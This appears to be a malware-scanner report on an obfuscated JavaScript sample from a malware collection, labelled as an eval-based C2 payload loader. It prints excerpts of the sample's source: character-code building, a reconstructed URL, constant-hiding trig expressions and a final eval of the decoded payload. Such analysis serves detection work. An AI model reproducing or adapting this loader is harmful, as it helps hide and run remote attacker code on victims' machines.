Suspicious ^80% javascript-malware-collection Download

58672a520e1a649efb14a28b92586f0ad3e66978c08beaf4740542775c3afcf8.js

obfuscated eval C2 payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25658672a520e1a649efb14a28b92586f0ad3e66978c08beaf4740542775c3afcf8

Evidence

Builds characters with String.fromCharCode line 2

2:146… 'L','t','n','g','h','P','6','M','?',',',';','i','m','a','@','y',String.fromCharCode(10),'0','8','S','j','1','o','K','M','D','V',',','u','M','2','k','y','U',String.fromCharCode(13),'F','@','9',' ','%','(','z','5' …

XOR URL reconstruction call line 2

2:1850… ')','Y','_','0','Y','i','(','d','Z','@','[','Y','G','r','e','A',String.fromCharCode(92),'x','J','C','Q','%','+','%',']','^','z','q','(',';','9','_','i','Y','B','B','l','j',']','`','m','=','a','?','h','b','*','H','(','C','0','%','5','c','+','d',':','H …

Calls JavaScript toString conversion method lines 4–7

4:44… hOapBZ){yTiX=xPgwJPtFyAqUiqHzi(atlwJDXYonx,KVtNuYzupinjV);EruWx=yTiX.toString(lUhOapBZ);return EruWx;}
5function JSTNYnfqsPTggYy(kdVIDAAlVXgwPpLzR,sWrktogMvfjmkXfbaHmyhGAFtcVnrqrQyJ,NUIFheoDgjeSkgcmRHfdlGPgtbKEOfhweAU){eval(kdVIDAAlVXgwPpLzR);}
6function kqmxREbqvXagzEoKOnvXXShFcdPRkTOWQfbtDNpNGIhtPwxKXCbmdq(STcEzAjmTjkPL,HBCxDRqHLKgLVK){ return MMoyzsy[DjvIWTHc[sWzjF(STcEzAjmTjkPL[HBCxDRqHLKgLVK],(19604+612)/722,(12+48)/6)]];}
7function qKeFQqi(sZBwtCiEkaWGiPtIklzxyRPVCFSnqNDVjDDY) {return !VnxksxkagHA(QZndcirHJCNNTaR(sZBwtCiEkaWGiPtIklzxyRPVCFS …

Dense indexed short-token grid lines 12–13

12:33… eWPPDNL,wAvJaNpGnWq) {wgmeZBtLXaibav[ooVgUqeWPPDNL]=wAvJaNpGnWq;}
13var W = new Array();W[0]=[];W[0][0]='d';W[0][1]='a';W[0][2]='d';W[0][3]='a';W[0][4]='46';W[0][5]='3d';W[0][6]='42';W[0][7]='14';W[0][8]='44';W[0][9]='14';W[0][10]='25';W[0][11]='14';W[0][12]='16';W[0][13]='47';W[0][14]='3k';W[0][15]='3d';W[0][16]='44';W[0][17]='3g';W[0][18]='3l';W[0][19]='3g';W[0][20]='49';W[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],W[4],W[5]];
20var PEWeLQIkD=[];
21function DaeicrOnUrhioMmLK(cPNnb){lHgvluEcOaS= '';dLGBehiUqIB=Math.round((Math.pow(Math.sin(114), 2) + Math.pow(Math.cos(114), 2) - 1));while(true){if (dLGBehiUqIB >= (3431+739)/695){break;}PEWeLQIkD[dLGBehiUqIB]=Math.round((Math.pow(Math.sin(522), 2) + Math.pow(Math.cos(522), 2) - 1)); while(true) { if(PEWeLQIkD[dLGBehiUqIB] > cPNnb[dLGBehiUqIB].length-(-255+496)/241) { break; } if (qKeFQqi(sWzjF(cPNnb[dLGBehiUqIB][PEWeLQIkD[dLGBehiUqIB]],(8344+280)/308,(5352+808)/616))) {lHgvluEcOaS += kqmxREbqvXagzEoKOnvXXShFcdPRkTOWQfbtDNpNGIhtPwxKXCbmdq([cPNnb[dLGBehiUqIB][PEWeLQIkD[dLGBehiUqIB]]], Math.round((Math.pow(Math.sin(117), 2) + Math.pow(Math.cos(117), 2) - 1)));} PEWeLQIkD[dLGBehiUqIB]++;}dLGBehiUqIB++;} return lHgvluEcOaS}
22var dnGpueKczokAuosdTWuAnAiFiWpQNMrFD = 'UPlfBMBxfLgfJilWQyekWFQTPoaHbnUAOoUC';var TZLnAYRgfbpLLPvfLLkSVsmZXdBdMKdU = 'ReLSpMhAQPqlnTuBlEysGwdqLLKOVarObufP';JSTNYnfqsPTggYy(DaeicrOnUrhioMmLK(cPNnb),dnGpueKczokAuosdTWuAnAiFiWpQNMrFD,TZLnAYRgfbpLLPvfLLkSVsmZXdBdMKdU);